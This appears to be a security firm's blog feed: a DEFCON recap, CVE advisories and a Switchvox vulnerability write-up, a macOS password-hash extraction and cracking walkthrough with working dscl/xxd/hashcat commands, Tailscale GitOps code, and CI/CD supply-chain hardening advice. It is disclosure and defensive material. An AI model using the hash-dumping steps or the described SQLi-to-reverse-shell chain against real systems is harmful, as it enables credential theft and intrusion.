SRA Labs | Cybersecurity Research & Innovation by Security Risk Advisors

DEFCON 34 Recap

Tue, 08 Sep 2026 12:00:00 +0000

Oh my God, we’re back again! Another year, another DEFCON. And a Backstreet Boys reunion. This year we sent 12 people, gave 1 workshop, gave 1 talk, and participated in 2 panels. This post is gonna be bringing the flavor, showcasing the teams personal highlights from our DEFCON34 experience.

SRA @ DEFCON

Clone to Pwn: Remote Badge Cloning with the Flipper Zero
- Langston Clement - Physical Security Village (Talk)
Purple Teaming? Simulating the Adversary in the World of AI Systems
- Evan Perotti - Adversary Village (Panel)
Detection Coverage Is a Hypothesis: Testing it Through Adversarial Execution Variance
- Connor Jackson, Nahid Sarker, Raphael Soto, Russell Harvey - Adversary Village (Workshop)
From Threat-Intel to Tested Defense, the Adversary Simulation Playbook
- Sarah Hume - Adversary Village (Panel)

Highlights

Across the 12 of us that went, here are our personal picks for content that stood out:

Title	Author	Description	Link
Transformers: Dark Side of the Type - Weaponizing the Conversion Layer	Oleksandr Mirosh	A new class of attacks that works similarly to insecure deserialization, but targets the type transformation layer rather than a deserializer.	link
Can AI do novel security research? Meet the HTTP Terminator	James Kettle	A deep dive into using AI for developing novel attack classes	link
CRLF-Powered Desync Attacks: Beheading HTTP Streams	Tom Stacey & Tobia Righi	Using HTTP Header Injection to enable novel desync attacks	link
Identity Crisis: Novel Vulnerabilities Leading to Kerberos Downgrade, DoS, and Full Domain Takeover	Shai Laron	Using unfilterable/invisible Unicode characters to bypass Kerberos uniquiness constraints for SPNs & UPNs	link
Certified Re-Pwned: escalating all the way up	Daniel Monzon & Eric Labrador	Five new ADCS exploits
Breaking BIOS in ATMs	Arnold Jared Morales Yepez	Using DMA attacks for ATM jackpotting	link
LaunchBreak: RCE Through Custom URIs	Gavin Zhong, Zhengyu Liu, & Jinajia Yu	RCE in Electron apps via custom URI schemas	link
Lights Out – Out Of Band Management Exploitation	HD Moore	Introduced several new BMC attack techniques	link
Click Me: Turning URI Links into Bug Bounty RCEs	Tobias Diehl	Abusing Windows protocol handlers for RCE
What Scammers Know That Social Engineers Don’t	Megan Squire	Improve social engineering interactions by learning from techniques used by scammers
Anyone Can Hack IoT - Even Easier Now	Andrew Bellini	Using AI to perform IoT hacking tasks	link
Bring Your own EDR	Shahak Morag	Abusing SentinelOne’s privileged COM interfaces to attack other EDR processes	link
Bypassing the Human EDR	Daniel Isler	Identify existing phishing/scam training to create pretexts that your target won’t flag as suspicious
Lyra	Rafael Felix	A cross-platform, LLVM-based obfuscator for Rust	link
SilentChrome	Gordon Long	Using chrome extension hollowing to overwrite legitimate plugins with malicious content	link
pathfinding.cloud	DataDog	AWS privilege escalation methods	link
EvilFont	Drew G	Hiding invisible machine-readable text in fonts to enable social engineering and prompt injection	link

Advisory: Ellucian Advance

Tue, 28 Jul 2026 12:00:00 +0000

Summary

SRA has identified a SQL injection vulnerability in Ellucian Advance Web and Legacy Advance.

CVE Identifiers

CVE ID	CVE Name
CVE-2026-6881	Authenticated SQL Injection Enables Unauthorized Access to Sensitive Information in Ellucian Advance Web and Legacy Advance

Vulnerability Details / Description

CVE-2026-6881 Authenticated SQL Injection Enables Unauthorized Access to Sensitive Information in Ellucian Advance Web and Legacy Advance

A SQL Injection in the Giving Reports functionality in Ellucian Advance Web and Legacy Advance allows an authenticated attacker to extract sensitive information from databases via a crafted SQL query in the class credit field.

Severity

The CVSS severity level of this vulnerability has been calculated to be 9.4 (Critical)

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L

Affected Versions and Models

Affects all versions of Ellucian Advance Web before AWA-2022-ORA-17.

Affects all versions of Ellucian Legacy Advance before AWA-2022-ORA-17.

Ellucian CRM Advance is not impacted.

MITRE CWE Weakness Enumeration

CWE-89 Improper neutralization of special elements used in an SQL command (‘SQL injection’)

Remediation Options

Apply hotfix AWA-2022-ORA-17.

Source

These vulnerabilities were discovered by Jeremy Slaven, Dylan Eliasson, and Mark Blaho as part of research performed by Security Risk Advisors.

Timeframe

April 24, 2026 - SRA submits vulnerability to vendor
May 15, 2026 - Vendor releases hotfix
July 28, 2026 - SRA publishes CVEs and advisory

From Portal to Pivot: Four CVEs in Switchvox SMB Web Application

Tue, 21 Jul 2026 12:00:00 +0000

Summary

During a client application security assessment, SRA identified multiple high-impact vulnerabilities in Switchvox SMB version 8.3 (104997), a VoIP management platform. These issues included unauthenticated SQL injection leading to remote code execution, reflected and stored cross-site scripting (XSS), and a local file inclusion (LFI). We successfully reproduced the issues in a controlled lab environment and disclosed them to the vendor. This post walks through the details of each CVE.

Introduction

We first encountered Switchvox SMB Web Admin Portal during a web assessment. Initial probing revealed a fairly complex architecture, including an NGINX reverse proxy that sent backend requests to multiple Apache and NodeJS backend services that controlled CGI-driven endpoints. While early testing identified unusual behavior around input handling, we needed more visibility into how the application processed requests internally. Fortunately, the vendor documentation provided downloadable ISO images of the full Switchvox operating system. These images are intended for customers to deploy the software in virtualized environments, but they also gave us an opportunity to replicate the target system locally.

We stood up a local development instance of Switchvox in a virtual machine, mirroring the production deployment as closely as possible. After editing the GRUB configuration to initialize a shell after booting, we had unfettered access to application and system logs, the ability to safely test high-impact exploits without risking production downtime, and access to partially obfuscated Perl source code and default NGINX configurations. This local lab instance dramatically accelerated our findings and allowed us to move from surface-level bugs to full exploitation chains.

One Request to Rule Them All: Unauthenticated SQL Injection → RCE

Through source code analysis, we identified an unauthenticated SQL injection (SQLi) that could result in remote code execution (RCE).

By investigating the web application components, we identified that the default NGINX reverse proxy listens on ports 80 and 443 and forwards traffic intended for the /pa endpoint to the pbxportal Apache application without requiring authentication.

The http://pbxportal/pa endpoint is handled by the PhoneConfig::PhoneAppsHandler Perl class. Searching the codebase on our local testing instance for this resulted in partially-obfuscated Perl source code which we were then able to deobfuscate and analyze. We found that the pre_cmd function reachable through this CGI interface automatically forwards any POSTDATA that starts with <PolycomIPPhone> string literal to the tel_notify() subroutine.

This tel_notify() subroutine is the SQL injection sink. After parsing the expected XML data, the data held by the <PhoneIP> XML field is concatenated directly into a SQL statement without sanitization, resulting in a blind, unauthenticated SQL injection vulnerability. The injection was exploitable in a single request, no user interaction was required, and the backend PostgreSQL database was configured to allow for executing system commands.

As an unauthenticated attacker, we were able to perform arbitrary database operations, including extracting database contents, modifying user records, and escalating privileges to Switchvox web administrators. In the example below, we exfiltrate the cookie signing key to an external server, allowing us to forge authentication material for arbitrary users.

We also successfully executed arbitrary code on the server, invoking a reverse shell on the target machine.

This was assigned CVE-2026-9586.

“Proceed with This Browser”: Reflected XSS Pre-Auth

While investigating portal behavior, we observed a browser compatibility feature that returned an “invalid browser” warning page under certain conditions. Digging deeper, we found that the portal URL parameter was reflected directly into JavaScript within responses generated by two CGI handlers for invalid_browser and invalid_browser_login, introducing a reflected XSS vulnerability.

An unauthenticated attacker crafts a malicious URL with a JavaScript payload in the portal URL parameter.

The victim is tricked into visiting the link and the payload executes in the victim’s browser without any further user interaction.

During testing, our payloads allowed for session theft, data exfiltration, invisible redirects, and execution of authenticated actions against the web API. This was assigned CVE-2026-9585.

Turning Templates into Traps: Stored XSS

Switchvox allows users to customize voicemail notification templates using an HTML editor. This feature is handled by the submit_modify_voicemail_template endpoint. Server-side validation was nonexistent and arbitrary HTML was accepted and stored, malicious JavaScript was not stripped or sanitized, and payloads persisted across sessions.

An authenticated user can edit stored voicemail notification email templates by accessing the main?cmd=create_voicemail_template endpoint. Editing the HTML in the application’s text editor will result in errors, as the use of <script> tags are disallowed by client-side controls.

To bypass these client-side controls, intercept the resulting POST request to the cmd=submit_modify_voicemail_template command. Modify the benign HTML to arbitrary JavaScript in the template_text POST parameter.

Then, the attacker can wait for another user to preview the saved template or receive a voicemail notification to their email inbox. Upon opening the template or notification, the malicious JavScript is executed in the context of the victim’s browser.

This finding was assigned CVE-2026-9588.

Playing the Wrong File: Local File Inclusion

Another interesting issue surfaced in the play_file CGI handler within the MainHandler class. This functionality allows users to play audio files from the system. However, the sound_path parameter was fully controllable by an authenticated user and not restricted to a safe directory, resulting in a Local File Inclusion (LFI) vulnerability.

Using this, we were able to read /etc/passwd, configuration files, and application secrets.

While this did not immediately grant code execution, it provided valuable context for chaining attacks, particularly with the SQL injection. This was assigned CVE-2026-9587.

Conclusion

The multiple vulnerabilities in this software illustrate the importance of in-depth testing. We were pleased to see that the vendor took action to promptly remediate these vulnerabilities in response to our disclosure. For official advisory details, see Advisory: Sangoma Switchvox SMB

Timeframe

May 11-26 2026 - SRA discovers and discloses vulnerabilities to Sangoma via GitHub Security Advisories (GHSA).
June 2, 2026 - Sangoma acknowledges disclosed vulnerabilities and intent to fix.
July 14, 2026 - Sangoma releases patches for all four disclosed vulnerabilities in Switchvox SMB version 8.4.0.2. Although the release notes do not explicitly mention patches for two of the four disclosed vulnerabilities, Sangoma has confirmed that the patches exist in this version. Validation of the patches included in version 8.4.0.2 could not be completed by SRA, as Sangoma did not provide a publicly accessible ISO for the latest release.
July 17, 2026 - SRA releases CVEs and technical advisories.

Advisory: VSee Clinic

Mon, 20 Jul 2026 12:00:00 +0000

Summary

SRA has identified multiple vulnerabilities in VSee Clinic that can lead to unauthorized access to and deletion of files as well as exposure of SFTP credentials.

CVE Identifiers

CVE ID	CVE Name
CVE-2026-13380	VSee Clinic and API Exposes Cleartext SFTP Credentials in Unauthenticated HTTP Responses
CVE-2026-13381	VSee Clinic and API Insecure Direct Object Reference in File API Allows Unauthorized File Access and Deletion

Vulnerability Details / Description

CVE-2026-13380: VSee Clinic and API Exposes Cleartext SFTP Credentials in Unauthenticated HTTP Responses

VSee Clinic 7.1.26 and VSee Clinic API 1.3.0 exposes cleartext SFTP credentials in the HTTP responses of three unauthenticated endpoints. The credentials are present in these responses only when SFTP connections have been configured within the application. No authentication is required to retrieve these credentials. An unauthenticated remote attacker who observes any of these HTTP responses on an instance where SFTP is configured can obtain the credentials and use them to access the associated SFTP server.

Severity

The CVSS base score of this vulnerability has been calculated to be 9.0 (Critical)

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N

CVE-2026-13381: VSee Clinic and API Insecure Direct Object Reference in File API Allows Unauthorized File Access and Deletion

VSee Clinic 7.1.26 and API 1.3.0 contain an Insecure Direct Object Reference (IDOR) vulnerability in the /v1.3.0/api/files endpoint. An authenticated attacker can manipulate the ‘remark’ request parameter to enumerate, retrieve, and delete files belonging to other users on the application server.

Severity

The CVSS base score of this vulnerability has been calculated to be 8.7 (High)

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Affected Versions and Models

VSee Clinic from 7.1.26 before 7.1.26.1. VSee Clinic API from 1.3.0 before 1.3.0.1.

VSee Clinic API’s default status is uknown for CVE-2026-13380 and unaffected for CVE-2026-13381.

MITRE CWE Weakness Enumeration

CVE-2026-13380

CWE-201 Insertion of sensitive information into sent data
CWE-312 Cleartext storage of sensitive information

CVE-2026-13381

CWE-639 Authorization bypass through user-controlled key

Remediation Options

Update VSee Clinic to 7.1.26.1 or later and VSee Clinic API to 1.3.0.1 or later

Source

These vulnerabilities were discovered by Chris Jones, Drew Young, and Maguire Younes as part of research performed by Security Risk Advisors.

Timeframe

June 16, 2026 - SRA submits vulnerability to vendor
June 24, 2026 - Vendor releases fix
July 20, 2026 - SRA publishes CVEs and advisory

Advisory: Sangoma Switchvox SMB

Fri, 17 Jul 2026 12:00:00 +0000

Summary

SRA has identified multiple vulnerabilities in Sangoma Switchvox SMB that can lead to stored and reflected cross-site scripting (XSS), SQL injection (SQLi), remote code execution (RCE), and local file inclusion (LFI).

CVE Identifiers

CVE ID	CVE Name
CVE-2026-9585	Unauthenticated Reflected Cross-Site Scripting (XSS) in Switchvox SMB Web Portal
CVE-2026-9586	Unauthenticated SQL Injection Leading to Remote Code Execution in Switchvox SMB
CVE-2026-9587	Authenticated Local File Inclusion (LFI) in Switchvox SMB Web Portal
CVE-2026-9588	Authenticated Stored Cross-Site Scripting (XSS) in Switchvox SMB Web Portal

Vulnerability Details / Description

CVE-2026-9585 Unauthenticated Reflected Cross-Site Scripting (XSS) in Switchvox SMB Web Portal

An unauthenticated reflected cross-site scripting (XSS) vulnerability exists in Sangoma Switchvox SMB Edition version 8.3 (104997). The application fails to properly sanitize the portal parameter supplied to the invalid_browser and invalid_browser_login handlers. User-supplied data is reflected into JavaScript generated by the application, allowing attacker-controlled script execution within a victim’s browser.

Severity

The CVSS base score of this vulnerability has been calculated to be 8.6 (High)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:L

CVE-2026-9586 Unauthenticated SQL Injection Leading to Remote Code Execution in Switchvox SMB

An unauthenticated SQL injection vulnerability exists in Sangoma Switchvox SMB Edition 8.3 (104997). The /pa endpoint processes XML content beginning with <PolycomIPPhone> and directly concatenates the user-controlled PhoneIP value into PostgreSQL queries without sanitization or parameterization. An unauthenticated remote attacker can execute arbitrary SQL statements against the backend PostgreSQL database using a single crafted request, including database operations and remote code execution.

Severity

The CVSS base score of this vulnerability has been calculated to be 9.3 (Critical)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE-2026-9587 Authenticated Local File Inclusion (LFI) in Switchvox SMB Web Portal

An authenticated local file inclusion vulnerability exists in Sangoma Switchvox SMB Edition 8.3 (104997). The play_file functionality accepts user-controlled input through the sound_path parameter and fails to properly validate file paths before accessing the underlying filesystem. By supplying absolute paths, an authenticated attacker can retrieve files outside the intended directory scope.

Severity

The CVSS base score of this vulnerability has been calculated to be 7.1 (High)

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVE-2026-9588 Authenticated Stored Cross-Site Scripting (XSS) in Switchvox SMB Web Portal

A stored cross-site scripting (XSS) vulnerability exists in Sangoma Switchvox SMB Edition 8.3 (104997) within the voicemail notification template functionality. The submit_modify_voicemail_template endpoint fails to properly sanitize HTML content supplied by authenticated users, allowing malicious JavaScript supplied through the template_text parameter to be stored server-side and subsequently rendered to other users.

Severity

The CVSS base score of this vulnerability has been calculated to be 7.0 (High)

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:H/VA:N/SC:L/SI:L/SA:L

Affected Versions and Models

Sangoma Switchvox SMB from 8.3 (104997) before 8.4.0.2.

MITRE CWE Weakness Enumeration

CVE-2026-9585

CWE-79 Improper neutralization of input during web page generation (‘cross-site scripting’)

CVE-2026-9586

CWE-89 Improper neutralization of special elements used in an SQL command (‘SQL injection’)

CVE-2026-9587

CWE-73 External control of file name or path

CVE-2026-9588

CWE-79 Improper neutralization of input during web page generation (‘cross-site scripting’)

Remediation Options

Update Sangoma Switchvox SMB to 8.4.0.2 or later.

Source

These vulnerabilities were discovered by Cameron Lischke as part of research performed by Security Risk Advisors.

Timeframe

May 11-26 2026 - SRA submits vulnerabilities to vendor
June 2, 2026 - Vendor acknowledges disclosed vulnerabilities and intent to fix.
July 14, 2026 - Vendor releases fix
July 17, 2026 - SRA publishes CVEs and advisory

macOS Password Cracking

Tue, 14 Jul 2026 12:00:00 +0000

macOS

So you’ve got elevated access to a macOS machine and for whatever reason, you now need to target the local user password hashes. Unlike traditional Linux environments, this is a bit more convoluted than grabbing /etc/shadow and calling it a day, enough so that I figured it’s worth documenting. For this post, we’ll assume you want to target the ryleh user. Let’s start by first dumping the user details:

sudo dscl . -read /Users/ryleh

This lists a lot of information but for this we’re particularly interested in the ShadowHashData block. Get this info out of the environment and onto your own machine. Going forward, I’ll assume you’re working within a Linux environment (Ubuntu, specifically).

Ubuntu

To massage this data into a useable format, we’ll need the plistutil package (apt install libplist-utils). Assuming the previous ShadowHashData data is now local within ryleh.hashdata:

cat ryleh.hashdata | xxd -p -r > ryleh.bin.plist
plistutil -i ryleh.bin.plist -o ryleh.plist -f xml1

This gives us a proper plist, with all the data we need embedded within.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>SRP-RFC5054-4096-SHA512-PBKDF2</key>
	<dict>
		<key>verifier</key>
		<data>
		Q7hXEJ8cG/jhRgvBtieRXmanSUcpNm4ssPxjcUUWQcxUnu8JUv0WkKZYh8Tx
		DhOyQk786DdjSuqUWOV+vmVTedb3slWC98Y1/TPxUTBk9wtqoNh1ESc6ayys
		339H4zNi+KcZ47zHgHgyWFbWpWZm/BLm4H4Vq5oO0s/UAmT+3bhTGOFrhgGq
		P0faR8i1f1uSrw/S0I2kPgq312jGO91/2VLb9niC5i1mEfciFU+s0YyoBg/E
		8UGtSpdg5X+MYQotKzeiSi/CMAeyHCpSpzyc35kngTHYDcFzTUB5hDB1MOJY
		GPUXJiimMzd5LefrLsdizNDW0Dm6GT8YLCyx6LLBy0UTdE9gHPNt6xO7Iv2N
		VwfK5d1H3nD27Ko6pSi0x+H5WdHMQ96/MdMgSLpsNWPF0U6ybpU03nFr6MPE
		dqw+hiuAaXju9I8zNcsPt4twVxbG9dlcvGjlpWA+2+tsuq7oCeYyVdNM9Lfa
		W7ELmZTKH06eQVmBMgO8MwCC6g79x22v1fPYuywPQGSnhQV8P9QJGkev0Kvx
		BiwQ1IBcF/bzx2fUCx+f6BSpu0DMDQsUW2gjbB6VaBJOWYCsp6XZPQFYpVf6
		5K7GYNLjVBySEUUsTS3sSJhdJac+xlCWrf8C1/3lDU3Bmy4Eku371ErlCLc4
		x+PcnwNaS6wLAn+c3eOhV78=
		</data>
		<key>salt</key>
		<data>
		GkTtt96MhhhLVE7gQdaLUL9j/emkaBT5TKHGnhkF2kk=
		</data>
		<key>iterations</key>
		<integer>131578</integer>
	</dict>
	<key>SALTED-SHA512-PBKDF2</key>
	<dict>
		<key>entropy</key>
		<data>
		dyGspnfdJffuNG5N1I8RJQRSxubbknBEswHF8Dwz3wbVzel0qf42rv6kqJe8
		TiN2V7gzrZb+6YAqy60q5ha4lvXccsjaG5DAgl4hnS1byPUUyontKx2EXeul
		3bKt9pDuLU3i/lnx2eLVedIizn0pG2XzJYKPLR23xcNn1lnU5IA=
		</data>
		<key>salt</key>
		<data>
		t52inmMU3tpPKQzYSdD5NloeBtXHBOcH+sfJeCVOySM=
		</data>
		<key>iterations</key>
		<integer>133333</integer>
	</dict>
</dict>
</plist>

Now we extract the entropy and salt keys out of the SALTED-SHA512-PBKDF2 block, using xxd to hexdump them:

entropy="dyGspnfdJffuNG5N1I8RJQRSxubbknBEswHF8Dwz3wbVzel0qf42rv6kqJe8TiN2V7"\
"gzrZb+6YAqy60q5ha4lvXccsjaG5DAgl4hnS1byPUUyontKx2EXeul3bKt9pDuLU3i/lnx2eLV"\
"edIizn0pG2XzJYKPLR23xcNn1lnU5IA="
salt="t52inmMU3tpPKQzYSdD5NloeBtXHBOcH+sfJeCVOySM="

echo $entropy | base64 -d | xxd -p -c 2000
echo $salt | base64 -d | xxd -p -c 2000

These values are then combined with the iteration count in the following format:

$ml$<iterations>$<salt>$<entropy>

Using the example data above, we get the following hash:

$ml$133333$b79da29e6314deda4f290cd849d0f9365a1e06d5c704e707fac7c978254ec923$7721
aca677dd25f7ee346e4dd48f11250452c6e6db927044b301c5f03c33df06d5cde974a9fe36aefea4
a897bc4e237657b833ad96fee9802acbad2ae616b896f5dc72c8da1b90c0825e219d2d5bc8f514ca
89ed2b1d845deba5ddb2adf690ee2d4de2fe59f1d9e2d579d222ce7d291b65f325828f2d1db7c5c3
67d659d4e480

Target this via hashcat mode 7100 and away you go.

On Cracking

It’s worth noting that this particular hashing scheme is relatively slow. If you’re used to harvesting & cracking NetNTLM hashes from Windows environments, you’re about to be in for a bad time. Even with a relatively strong password cracking setup (we have multiple 4x 3080Ti servers), you’ll need to perform more targetted and granular attacks. No running OneRuleToRuleThemStill or d3adhob0 against your favorite 500mb wordlist. Even the “smaller” lists, like rockyou, will likely still be far too large.

Git'ing gud with Tailscale

Tue, 07 Jul 2026 12:00:00 +0000

We use Tailscale as our VPN solution internally here at SRA for accessing a lot of our internal systems as well as for having a static egress IP (via exit nodes) for services that only allow IP-based access controls. We developed a GitOps solution to manage the Tailscale policy that governs our network. In this blog, we will walk through this solution.

The Policy File

Each Tailscale customer network (the “Tailnet”) is governed by a policy file defined in HuJSON. Essentially just JSON with comments and trailing commas and another name for JWCC. The policy specification is fairly involved and feature rich, but at its core, it manages Grants that allow or deny connections to destinations. These Grants are fairly expressive and allow for you to specify sources/destinations not just by IPs and ranges, but also by user principals, directory groups, roles, and tags.

Unfortunately, Tailscale does not provide fine-grained access controls to policies. You cannot delegate access to edit routes for specific network segments or users. You can either edit the entire policy or nothing.

To workaround this, we moved policy file management to our internal source control system, Azure DevOps (“ADO”).

GitOps

GitOps is just management of infrastructure resources via Git. In our case, we manage write access to a policy HuJSON file via Azure DevOps’ repository access controls then push the policy changes to our Tailnet via a pipeline.

The policy file is a singular HuJSON document, which is not particularly conducive to easy management since it makes it difficult to see which sections apply to any given area. In our approach, we broke the policy file into smaller HuJSON files, taking inspiration from conventions seen in Linux configuration file management (e.g., Apache/nginx sites, RC files, crontabs, etc). Then we stitch it back together before pushing. This makes management much easier, as someone reviewing the policy or a pull request (PR) can focus on an individual concern(s). When new services are added, they are contained in their individual policy file.

Directory tree of individual policy files

This structure also allows you leverage your source control system’s path-based rules. For example, you can trigger validation or have stricter controls for grants while being more lenient for additions to tests.

We wrote a small Python utility to combine these individual files together. The script is packaged into a Wheel then made available to the build pipeline via an internal package repository hosted on Azure DevOps’ Artifacts. A minimal version of this is included below:

python Policy file combiner


import pathlib
import argparse
import json

from pywuffs import JsonDecoderQuirks
from pywuffs.aux import JsonDecoder, JsonDecoderConfig


_decoder_config = JsonDecoderConfig()
# JWCC is basically just HuJSON by another name.
# Wuffs is used for loading HuJSON files.
# The Wuffs JSON CLI utility, jsonptr, support JWCC
# Quirks for JWCC are found here:
# https://github.com/google/wuffs/blob/3d6c609dc12de3c81e1b8079ceecf96370b086a2/example/jsonptr/jsonptr.cc#L785
_decoder_config.quirks = [
    JsonDecoderQuirks.ALLOW_COMMENT_LINE,
    JsonDecoderQuirks.ALLOW_COMMENT_BLOCK,
    JsonDecoderQuirks.ALLOW_EXTRA_COMMA,
]
_decoder = JsonDecoder(_decoder_config)


def _load_hujson_file(path: pathlib.Path) -> dict:
    """
    Given a path, load the file contents then attempt to deserialize using Wuffs

    :param path: Path to HuJSON file
    """
    data = path.read_bytes()
    decoded = _decoder.decode(data)
    if decoded.error_message == "":
        return decoded.parsed
    else:
        raise Exception(f"Cannot load JSON from {path.as_posix()}")


def main(out_file: str, units: str):
    """
    Load all HuJSON files from the given units directory and stitch into single standard JSON file

    The units directory is essentially a file system equivalent of the Tailnet ACL file contents.
    The structure should be

        [units directory]
            |- root.hujson
            |- <key 1 directory>
                |- <hujson file>
                |- ...
            |- <key 2 directory>
                |- <hujson file>
                |- ...

    Where "root.hujson" contains the top-level keys for the ACL file, such as the "tagOwners" key.
    Each key directory should be named after the ACL key, such as "ssh", "acls", and "tests".
    Each file in that directory should be a list item to append to that key.

    For example, units/ssh/foo-1.json with the following contents:
        [{"action": "check", "src": ["bar@example.com"], "dst": ["tag:baz"], "users": ["autogroup:nonroot"]}]
    Will get added to the final ACL JSON as
        "ssh": [{"action": "check", "src": ["bar@example.com"], "dst": ["tag:baz"], "users": ["autogroup:nonroot"]}, ...]
    """
    out_file = pathlib.Path(out_file)
    units_root = pathlib.Path(units)

    root_json = units_root / "root.hujson"
    root_json = _load_hujson_file(root_json)

    for json_file in units_root.rglob("*/*.hujson"):
        root_json.setdefault(json_file.parent.name, []).extend(_load_hujson_file(json_file))

    out_file.write_text(json.dumps(root_json, indent=4))


def cli_main():
    parser = argparse.ArgumentParser(prog="tailnetgen")
    parser.add_argument("-o", "--out-file", required=True)
    parser.add_argument("-u", "--units", required=False, default="units/")
    args = parser.parse_args()
    main(args.out_file, args.units)


if __name__ == "__main__":
    cli_main()

To modify the policy, users open a pull request against the primary branch. This triggers a validation pipeline that generates the new policy then validates it against Tailscale’s validation API, which verifies both the correctness of the JSON and runs any defined policy tests.

ADO validation pipeline

Once the pipeline runs and validates, two human reviewers are required to approve the change.

ADO reviewer policy

Finally, once the approved changes are merged, another pipeline triggers to push the updated policy into production.

For both the validation and production pipelines, we use Tailscale’s gitops-pusher CLI utility as a client for the Tailscale API. Credentials are stored in an Azure Key Vault accessible by the pipeline’s Service Principal.

Azure secrets mapped into ADO

Tailsnitch

Earlier this year, Adversis released tailsnitch, a CLI tool for performing security auditing of Tailscale environments. It covers both the policy file and tenant configurations.

In our evaluations, some of the checks seemed useful. However, its operating model is incompatible with our GitOps approach. Tailsnitch works against your production configurations, always pulling data live. This means you cannot validate that a change is insecure before pushing it to production. In our case, we’d want to run it during the validation phase against our policy candidate then block the merge if its found to be insecure.

However, some preliminary works shows that you can simply patch the policy lookup to achieve “offline” evaluation. The below patch file overrides the GetACLHuJSON (pkg/client/client.go) function to use a local policy file defined in the environment variable ACL_FILE_PATH. After applying the patch (patch -p0 < patch) then rebuilding tailsnitch (make build), policy evaluation functions will evaluate the local policy for issues (but online functions like evaluating tenant configuration will fail).

diff tailsnitch patch


--- pkg/client/client.go
+++ pkg/client/client.go
@@ -243,14 +243,17 @@ func (c *Client) GetACL(ctx context.Context) (*tailscale.ACL, error) {
 
 // GetACLHuJSON fetches the ACL policy in HuJSON format
 func (c *Client) GetACLHuJSON(ctx context.Context) (*tailscale.ACLHuJSON, error) {
-	if err := c.wait(ctx); err != nil {
-		return nil, err
-	}
-	acl, err := c.ts.ACLHuJSON(ctx)
+	path := os.Getenv("ACL_FILE_PATH")
+
+	data, err := os.ReadFile(path)
 	if err != nil {
-		return nil, classifyError(err, "GetACLHuJSON", "ACL policy")
+		return nil, err
 	}
-	return acl, nil
+
+	var acl tailscale.ACLHuJSON
+	acl.ACL = string(data)
+
+	return &acl, nil
 }
 
 // GetDevices fetches all devices in the tailnet

Closing

If you have any questions or concerns, feel free to reach out to @2xxeformyshirt.

Isolating Build Jobs

Tue, 30 Jun 2026 12:00:00 +0000

Overview

We live in an age of rampant supply chain attacks. This class of attacks has been around for a long while, but TeamPCP has significantly increased their visibility among security professionals, developers, and executives alike. TeamPCP’s Shai-Hulud needs no introduction, but it is still worth briefly covering their TTPs and the TTPs of campaigns like it.

TeamPCP, and many other groups, have adopted a rapid smash-and-grab style of attacks. They sacrifice covert, long-term infiltration for rapid exploitation and blast radius amplification. The first step is to compromise either a developer with significant access to an open source project or a misconfigured pipeline, such as via poisoned pipeline execution. This initial foothold provides the ability to publish malicious packages, overwriting legitimate ones. While the exact malware bundled into these packages varies, the end result is the same: on installation, all well known credential locations are pillaged. These credentials are then used to publish a new set of malicious packages. This process repeats, rapidly spreading across the open source ecosystems and internal systems.

There are two key take aways with this methodology. First, the malicious packages are setup to detonate immediately on installation. This occurs during the build phase, the continuous integration piece of CI/CD workflows. Second, the malware actively publishes malicious packages. This is the publish phase, the continuous deployment piece.

Despite being two distinct phases, these attackers have found success pivoting from one phase to the other. This is largely because developers have stopped delineating between them. CI/CD is regularly treated as a singular thing.

Isolate the Build Phase; Protect the Publish Phase

Described through this lens, the solution becomes obvious: don’t give your build phase jobs the ability to publish packages. Lets look at a simple GitHub Action workflow. We’re going to assume no lock file is used so the package installation step could feasibly pull in a compromised package.

name: Publish Package to npmjs

on:
  release:
    types: [published]

# expose the NPM token for publishing to NPM
env:
  NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write
    steps:
      # checkout source code
      - uses: actions/checkout@v6

      # install nodejs
      - uses: actions/setup-node@v4
        with:
          node-version: "24.x"
          registry-url: "https://registry.npmjs.org"

      # pull & detonate malicious package
      - run: npm ci

      # push new package version
      - run: npm publish

While this example is contrived, it is also a pattern I’ve seen used in multiple environments. An Action defined this way exposes the NPM authentication token to every step of every job, despite it only being needed for the final npm publish command. This fundamentally is a violation of the principle of least privilege, exposing an access token to things that do not need it. For this particular example, the fix is ostensibly straightforward: only map the NPM_TOKEN secret to an env var when publishing.

name: Publish Package to npmjs

on:
  release:
    types: [published]

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write
    steps:
      # checkout source code
      - uses: actions/checkout@v6

      # install nodejs
      - uses: actions/setup-node@v4
        with:
          node-version: "20.x"
          registry-url: "https://registry.npmjs.org"

      # no NPM token available for theft during execution
      - run: npm ci

      # NPM token only exposed during the publish step
      - run: npm publish --provenance
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

While an improvement, there are still issues with this. The first problem is due to NPM’s lifecycle scripts. While many malicious packages embed their execution within the postinstall or similar hooks that trigger on installation, NPM also exposes hooks that trigger on publish, such as postpublish. Putting the NPM-specific problem aside, there is a second issue: an OIDC token is issued to all job steps. Whether or not this is an issue depends on if there are any third-party resources configured to allow authentication via this pipeline’s identity.

OIDC

Historically, these campaigns have largely targeted and leveraged long lived access tokens. Leveraging OIDC instead does provide a slight mitigation, at least so far. Attackers cannot simply exfiltrate tokens and immediately begin using them. Instead, they must first exchange the OIDC token for a short-lived access token against the given service. Discussing the details of OIDC is far outside the scope of this post, but you can refer to this post from Curity.io for details. GitHub also has some documentation on using OIDC within a CI/CD context.

